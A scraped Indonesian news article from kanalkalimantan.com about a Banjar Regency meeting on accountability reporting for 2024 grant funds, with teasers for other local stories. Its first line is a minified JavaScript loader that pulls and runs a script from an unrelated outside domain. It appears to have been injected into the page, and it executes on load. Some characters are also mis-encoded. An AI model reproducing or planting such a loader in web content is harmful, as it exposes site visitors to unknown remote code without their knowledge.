(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar menggelar rapat koordinasi Pelaporan Pertanggungjawaban Dana Hibah yang digelar Pemerintah Kabupaten Banjar, di Aula Barakat Martapura, Kamis (14/11/2024) siang.
Plt Asisten Pemerintahan dan Kesra, Ahmad Zulyadaini yang membuka kegiatan itu berharap kepada penerima dapat menyusun laporan sebagai pertanggungjawaban dana hibah tahun 2024 dengan baik, tepat waktu dan sesuai dengan ketentuan yang berlaku.
Ahmad Zulyadaini menyampaikan, kegiatan tersebut merupakan wujud nyata dan komitmen bersama untuk melaksanakan pengelolaan dana hibah dengan transparan, akuntabilitas, dan sesuai dengan peraturan yang berlaku.
Baca juga:Â Roy Rizali Anwar Jabat Plh Gubernur Kalsel
Dia menjelaskan, dalam Peraturan Bupati Banjar Nomor 49 Tahun 2021 disebutkan, hibah merupakan salah satu bentuk perhatian pemerintah daerah kepada lembaga dan organisasi masyarakat yang ada di Kabupaten Banjar.
Melalui hibah ini, pemda berharap dapat memberikan dukungan bagi penyelenggaraan kegiatan-kegiatan yang mendukung pembangunan daerah, baik dari segi keagamaan, sosial, maupun kesejahteraan masyarakat.
Namun, lanjut Zul, penting untuk diingat bahwa penerimaan hibah bukanlah hak yang bersifat wajib dan mengikat. Hibah ini merupakan bantuan yang diberikan berdasar pertimbangan keuangan daerah dan kebutuhan program, dengan tujuan untuk memacu kemandirian lembaga penerima.
“Karena itu lembaga atau organisasi masyarakat yang menerima dana hibah tidak seharusnya bergantung sepenuhnya pada bantuan pemerintah daerah, mengingat keterbatasan anggaran,” jelas dia.
Baca juga:Â Kejari Banjarbaru Musnahkan Narkotika dan Miras Barbuk Agustus-Oktober 2024
Para penerima hibah, katanya, wajib menggunakan dana ini secara bijaksana dan sesuai dengan peruntukannya, sebagaimana yang telah dicantumkan dalam Naskah Perjanjian Hibah Daerah (NPHD) yang telah ditandatangani bersama.
Penggunaannya hanya boleh dialokasikan untuk kegiatan yang tercantum dalam NPHD, dan tidak boleh digunakan untuk kegiatan lain di luar kesepakatan tersebut.
Sebagai bentuk tanggung jawab, setiap penerima hibah berkewajiban untuk membuat laporan pertanggungjawaban penggunaan dana hibah.
Baca juga: Pelihara Kesehatan Gigi dan Mulut Penderita Diabetes Mellitus Melalui Strategi GULOH – CISAR
“Laporan ini tidak hanya merupakan kewajiban administratif, tetapi juga merupakan bentuk transparansi dan akuntabilitas kepada pemerintah daerah dan masyarakat,†tutup dia.
Narasumber kegiatan Nur Aini Kasubid Akuntansi dan Bendahara BPKAD Banjar, Min’ Am Naqi Inspektur Pembantu Wilayah II Inspektorat Kabupaten Banjar. Dihadiri 24 penerima hibah berasal dari badan, lembaga, Badan, yayasan, ponpes, masjid dan musala. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.